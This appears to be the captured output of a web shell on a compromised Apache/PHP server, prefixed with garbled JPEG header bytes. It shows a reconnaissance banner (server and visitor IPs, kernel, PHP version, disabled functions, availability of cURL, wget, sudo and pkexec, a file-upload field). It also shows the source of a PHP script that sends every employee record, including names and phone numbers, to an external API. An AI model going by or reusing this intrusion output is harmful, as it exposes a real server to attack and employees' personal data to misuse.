����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 74.208.127.88 / Your IP : 3.17.191.196 Web Server : Apache/2.4.41 (Ubuntu) System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/html/apirestE/ |
Upload File : |
<?php // Incluir la clase de conexión a la base de datos require_once('../model/dbconn.php'); // URL del API $url = 'https://sistemasyusa.icu/apirestE/create_employee.php'; // Crear una instancia de la clase dbconn $db = new dbconn(); $db->initDBO(); // Iniciar la conexión PDO $pdo = $db->dblocal; // Consulta para obtener todos los empleados $query = "SELECT * FROM employee"; $stmt = $pdo->prepare($query); $stmt->execute(); $empleados = $stmt->fetchAll(PDO::FETCH_ASSOC); if ($empleados) { // Enviar todos los empleados a la API foreach ($empleados as $empleado) { // Preparamos los datos del empleado para enviar $empleado_data = [ 'id' => $empleado['id_cust'], 'nombre' => $empleado['name'], 'puesto' => $empleado['id_puesto'], // Se asume que 'id_puesto' corresponde al puesto 'ciudad' => $empleado['poblacion'], 'telefono' => $empleado['phone'], 'departamento' => $empleado['come_in'], // Se asume que 'come_in' corresponde al departamento 'fecha_contratacion' => $empleado['date_emp'], 'estado' => $empleado['status'] == 1 ? 'Activo' : 'Inactivo', // Se asume que 'status' es 1 para activo ]; // Iniciar cURL $ch = curl_init(); // Configurar opciones de cURL curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($empleado_data)); // Ejecutar la solicitud y obtener la respuesta $response = curl_exec($ch); // Verificar si hubo errores en la solicitud if (curl_errno($ch)) { echo 'Error en la solicitud cURL: ' . curl_error($ch); } else { // Mostrar la respuesta de la API echo 'Respuesta de la API para el empleado ' . $empleado['id_cust'] . ': ' . $response . "<br>"; } // Cerrar la conexión cURL curl_close($ch); } } else { echo 'No se encontraron empleados en la base de datos.'; } ?>